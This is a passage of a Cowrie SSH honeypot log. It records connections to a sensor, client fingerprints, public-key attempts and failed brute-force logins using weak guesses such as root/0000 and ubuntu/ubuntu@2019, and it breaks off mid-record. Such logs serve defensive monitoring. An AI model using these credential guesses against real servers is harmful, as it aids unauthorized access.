{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:37.551852Z","src_ip":"172.237.20.62","session":"9a4806a8ead2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:38.090928Z","src_ip":"172.237.20.62","session":"9a4806a8ead2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:39.256496Z","src_ip":"172.237.20.62","session":"9a4806a8ead2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.216.2","src_port":32264,"dst_ip":"10.17.0.5","dst_port":22,"session":"672c5a202aa8","protocol":"ssh","message":"New connection: 212.192.216.2:32264 (10.17.0.5:22) [session: 672c5a202aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:44.531398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:44.536781Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:44.621204Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:89:3d:a8:ef:27:95:df:1e:3b:8c:9e:86:56:77:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA04rhWqYAeDnrSXJiHBVgDsFYi2NcfTJn7VWKMRXT6vMW3kZ+sXMQi102n6Hu+YAa9tBxfuQ+c2MWTzIMvDWkjoKMQaXXxr+Qzf177/IjIdV2d6bdAG0exo362ZwohVpPeN1m4ks4JzEJjhKM+1JGAkH+9Uor0nmFSeoYjfmnPi5wlldyyGWyYoCUPOkSrycvuX+0gUwMuvQO+lohL2ay29HdjrqCRC6F3K/a/uol2p/q2S+E9yFP7a+q+hOP4uVPUHTUDlgjom7oJdwdkfS63UQ1hkmi7clIzHegV7LzPc07GF/RjqZNL+HmloS8OdKSwqiA5PruAx0uduY5j6oQzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:89:3d:a8:ef:27:95:df:1e:3b:8c:9e:86:56:77:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.018857Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:89:3d:a8:ef:27:95:df:1e:3b:8c:9e:86:56:77:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA04rhWqYAeDnrSXJiHBVgDsFYi2NcfTJn7VWKMRXT6vMW3kZ+sXMQi102n6Hu+YAa9tBxfuQ+c2MWTzIMvDWkjoKMQaXXxr+Qzf177/IjIdV2d6bdAG0exo362ZwohVpPeN1m4ks4JzEJjhKM+1JGAkH+9Uor0nmFSeoYjfmnPi5wlldyyGWyYoCUPOkSrycvuX+0gUwMuvQO+lohL2ay29HdjrqCRC6F3K/a/uol2p/q2S+E9yFP7a+q+hOP4uVPUHTUDlgjom7oJdwdkfS63UQ1hkmi7clIzHegV7LzPc07GF/RjqZNL+HmloS8OdKSwqiA5PruAx0uduY5j6oQzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.023510Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:5c:62:84:fb:ed:09:0b:ea:40:08:7b:52:7b:d5:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuPllVnPPT/cRSRHWLHz6dkS3b5Gpe03yyJ41uA4++FVKVMTY+MPmwcd9b9JU/ObE/wadeXh/JUcq+rgpAdJ8Mttep9Wuao4+XpsiAkzfWpZgwH0cvx4z2J1ferVmPpCRYJwlEhh4sN/Bq2pUIsmMiqJT0UbvHykqqGH318lUj9WYMJ+6cQYRWD2XB/KYPD+miCJYGS8GP/tfzLXKc/V//hGZWvDHho96gq7RtI2VFpFTG6ho0UYEXxm+m1JMFg9XN1X7tfTvrWsPbyKwThpcIuK1K66sP+YIMPT17u8qwHRNR4OX5Sgrto+4qUeulk7/D1pq85qUd2RHfkBXc8pph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:5c:62:84:fb:ed:09:0b:ea:40:08:7b:52:7b:d5:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.112528Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:5c:62:84:fb:ed:09:0b:ea:40:08:7b:52:7b:d5:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuPllVnPPT/cRSRHWLHz6dkS3b5Gpe03yyJ41uA4++FVKVMTY+MPmwcd9b9JU/ObE/wadeXh/JUcq+rgpAdJ8Mttep9Wuao4+XpsiAkzfWpZgwH0cvx4z2J1ferVmPpCRYJwlEhh4sN/Bq2pUIsmMiqJT0UbvHykqqGH318lUj9WYMJ+6cQYRWD2XB/KYPD+miCJYGS8GP/tfzLXKc/V//hGZWvDHho96gq7RtI2VFpFTG6ho0UYEXxm+m1JMFg9XN1X7tfTvrWsPbyKwThpcIuK1K66sP+YIMPT17u8qwHRNR4OX5Sgrto+4qUeulk7/D1pq85qUd2RHfkBXc8pph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.116681Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:c8:f9:48:53:f9:e2:18:3d:25:0b:7e:48:d6:ac:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr578QYbanb0Gth3/gQXOXK9kxFUeOuNrqO7aD90+UAft0U5a2teIdL3ibSAnrx5QpzwcLAjnQ191EfS9evHvvoMC9qKUrenQRaQonW5/fz7a07e5FAdDRCm7mmxYkwxDR7EkDZfbFLhgraz/O7kaC5d2K8d8WRlPvNTpxLSZ+TXzFgLLGl5ntCTrZ/x9e/1tFoal0grxIf1UOPHjSPv5La2Nh10UM3TSC4qzU9euYOiJmLYWCj/75bCyT6gGBTh4IozOdPrV4PfsYOyKaavJMyHzHaSV6bPyg6YBCgeA9pHWKoc11BUZPIKccdRzi8fEisbHrVcWiIidZjKKexXAn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:c8:f9:48:53:f9:e2:18:3d:25:0b:7e:48:d6:ac:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.202937Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:c8:f9:48:53:f9:e2:18:3d:25:0b:7e:48:d6:ac:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCr578QYbanb0Gth3/gQXOXK9kxFUeOuNrqO7aD90+UAft0U5a2teIdL3ibSAnrx5QpzwcLAjnQ191EfS9evHvvoMC9qKUrenQRaQonW5/fz7a07e5FAdDRCm7mmxYkwxDR7EkDZfbFLhgraz/O7kaC5d2K8d8WRlPvNTpxLSZ+TXzFgLLGl5ntCTrZ/x9e/1tFoal0grxIf1UOPHjSPv5La2Nh10UM3TSC4qzU9euYOiJmLYWCj/75bCyT6gGBTh4IozOdPrV4PfsYOyKaavJMyHzHaSV6bPyg6YBCgeA9pHWKoc11BUZPIKccdRzi8fEisbHrVcWiIidZjKKexXAn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.207143Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:9b:42:ed:4a:4d:1d:b7:05:dc:72:f6:0e:0f:27:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWmiBt3XXJd4Fl+F9mbms/0qcMIrcB0PN/g7AKRSXD2/sEtnvxNGWFdwqpwGMnG9N90Xif3iMwvoeOTW/3JHZHhb4fW8l0zqUZyRzoz3G1BtzoT+OnUn5u2/L2/lWhdq8rG6G9QSAto5Xs8W/sDTrPUuzBl0HxmbAGrYdeJeMpbVpUSZgtHkVmOp+FIqkcOolZCg/gxouTdytyES6b2wlcLNNKClRtS74+LkPU7Qhl3NbhBZzyoh1UySPd1sC2Sgb5givZ2ukuE8wX6F0Y0ha/YLHrv9k165t09Wcw5/CKpTPn8qnZ+dUZG8wo98WLlsViiInj1p05fT++vnfgUjy6lCwFLYcw6+7md9GmOhnFQZYEAU4zPnajdoejYo8bNlScU0NRxIfzL0QJU/VgJKAuhUNjBPY2A1FQmBJwhbVCnIgz2EFC3tUv1rozUAWLFyaoRzidGAEMVgnSZVERWpbq8JQ4ns/cKYQFBaULN+6vBuTY8Slr1P4zZha1CLyQcdpoJdNTOHlhr3K+XtNNQpWJsEEUKi08+J8TQMcZA0u71nh3mb5zY1ziTI5fycRox62+4NV1uXxHaVKn+OXyj05MoyKA+RcipPtNvBs4BvWaBw1ofpGLkNVB2CJhRbLSnrYJSFfm2jtheigU8SwrST8w0ChQjN6vfHqDhjQAKg5MKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:9b:42:ed:4a:4d:1d:b7:05:dc:72:f6:0e:0f:27:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.291908Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:9b:42:ed:4a:4d:1d:b7:05:dc:72:f6:0e:0f:27:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWmiBt3XXJd4Fl+F9mbms/0qcMIrcB0PN/g7AKRSXD2/sEtnvxNGWFdwqpwGMnG9N90Xif3iMwvoeOTW/3JHZHhb4fW8l0zqUZyRzoz3G1BtzoT+OnUn5u2/L2/lWhdq8rG6G9QSAto5Xs8W/sDTrPUuzBl0HxmbAGrYdeJeMpbVpUSZgtHkVmOp+FIqkcOolZCg/gxouTdytyES6b2wlcLNNKClRtS74+LkPU7Qhl3NbhBZzyoh1UySPd1sC2Sgb5givZ2ukuE8wX6F0Y0ha/YLHrv9k165t09Wcw5/CKpTPn8qnZ+dUZG8wo98WLlsViiInj1p05fT++vnfgUjy6lCwFLYcw6+7md9GmOhnFQZYEAU4zPnajdoejYo8bNlScU0NRxIfzL0QJU/VgJKAuhUNjBPY2A1FQmBJwhbVCnIgz2EFC3tUv1rozUAWLFyaoRzidGAEMVgnSZVERWpbq8JQ4ns/cKYQFBaULN+6vBuTY8Slr1P4zZha1CLyQcdpoJdNTOHlhr3K+XtNNQpWJsEEUKi08+J8TQMcZA0u71nh3mb5zY1ziTI5fycRox62+4NV1uXxHaVKn+OXyj05MoyKA+RcipPtNvBs4BvWaBw1ofpGLkNVB2CJhRbLSnrYJSFfm2jtheigU8SwrST8w0ChQjN6vfHqDhjQAKg5MKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.296569Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:73:b8:6d:fa:bd:3a:c1:5e:0a:38:c3:98:98:28:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqlpnSzRhcL1CJL3l7KAD7b/k5cfPHPIeyfD2FojwdDTmEob7DeVphEI/yNfizpoGyZ9FFy7Tcd4a8sftnEfhywXYVSYjFbyoQMiB05AtbyGh8ui4Bwt7LnjhyCYr++kxDIs/FSjEfIrKZGOaXwItNJ7PJmeLhNq2vJlVa/u3xiG+5j3gcpo/s1POJpEq2BxFU5V908U2MM/bfStiCMNFXXSBqikpNPi5YziyuC6Az1Ei9SO3IfR31cTruhPqFzTESwGrIP+XI1iqFY6+FBtMWtMHTpzXwbrr4H8a6nrK3eQUUTAmjlKev1ElHDJV2FlVQE8eIpbzbTLKlPnBo2YvxBqkZRaJixsNv6n4OGl7CV0um/1W4H5wq7pGhSensICg6fvIVVbVP9qr9Ua6qz+Bkvzw9HBdZvQjb9AbK4cxLU4xPZC8cRZp6o4ILqCxI0vWg7I9XJHIBfnCiZfJMKrTc8fq0konoGykfabo33u1dBLVhtk4qx/+jCDKKu2qTCbxhcV/YGE5NLAUDdjpQRF7eXrd5ypxSX12wN5Q84xi3XxrwSyoWdpuC/SDQ2efkZ1znOYgV4w69ca/3LP8lxR6u+2Sup2kHAUsUmBqy39AtkdJouZkUjhtGR5hjGQi0qZmNDKAY5fMsOi7bf5NcRsuZSttKOpHMBraq5olpNXYqew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:73:b8:6d:fa:bd:3a:c1:5e:0a:38:c3:98:98:28:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.384344Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:73:b8:6d:fa:bd:3a:c1:5e:0a:38:c3:98:98:28:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqlpnSzRhcL1CJL3l7KAD7b/k5cfPHPIeyfD2FojwdDTmEob7DeVphEI/yNfizpoGyZ9FFy7Tcd4a8sftnEfhywXYVSYjFbyoQMiB05AtbyGh8ui4Bwt7LnjhyCYr++kxDIs/FSjEfIrKZGOaXwItNJ7PJmeLhNq2vJlVa/u3xiG+5j3gcpo/s1POJpEq2BxFU5V908U2MM/bfStiCMNFXXSBqikpNPi5YziyuC6Az1Ei9SO3IfR31cTruhPqFzTESwGrIP+XI1iqFY6+FBtMWtMHTpzXwbrr4H8a6nrK3eQUUTAmjlKev1ElHDJV2FlVQE8eIpbzbTLKlPnBo2YvxBqkZRaJixsNv6n4OGl7CV0um/1W4H5wq7pGhSensICg6fvIVVbVP9qr9Ua6qz+Bkvzw9HBdZvQjb9AbK4cxLU4xPZC8cRZp6o4ILqCxI0vWg7I9XJHIBfnCiZfJMKrTc8fq0konoGykfabo33u1dBLVhtk4qx/+jCDKKu2qTCbxhcV/YGE5NLAUDdjpQRF7eXrd5ypxSX12wN5Q84xi3XxrwSyoWdpuC/SDQ2efkZ1znOYgV4w69ca/3LP8lxR6u+2Sup2kHAUsUmBqy39AtkdJouZkUjhtGR5hjGQi0qZmNDKAY5fMsOi7bf5NcRsuZSttKOpHMBraq5olpNXYqew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.388359Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:45.471841Z","src_ip":"212.192.216.2","session":"672c5a202aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39284,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7df5bdd6707","protocol":"ssh","message":"New connection: 172.237.20.62:39284 (159.203.135.109:22) [session: c7df5bdd6707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:48.328443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:48.333472Z","src_ip":"172.237.20.62","session":"c7df5bdd6707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:48.501857Z","src_ip":"172.237.20.62","session":"c7df5bdd6707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:48.990367Z","src_ip":"172.237.20.62","session":"c7df5bdd6707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:50.154089Z","src_ip":"172.237.20.62","session":"c7df5bdd6707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57595,"dst_ip":"159.203.135.109","dst_port":22,"session":"11dd8538aa7f","protocol":"ssh","message":"New connection: 89.144.211.139:57595 (159.203.135.109:22) [session: 11dd8538aa7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:51.729377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:51.734248Z","src_ip":"89.144.211.139","session":"11dd8538aa7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:51.861945Z","src_ip":"89.144.211.139","session":"11dd8538aa7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2019","message":"login attempt [ubuntu/ubuntu@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:52.407486Z","src_ip":"89.144.211.139","session":"11dd8538aa7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.115.68","src_port":50030,"dst_ip":"10.17.0.5","dst_port":22,"session":"906b3bb3628d","protocol":"ssh","message":"New connection: 175.110.115.68:50030 (10.17.0.5:22) [session: 906b3bb3628d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:52.544951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:00:52.548787Z","src_ip":"175.110.115.68","session":"906b3bb3628d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-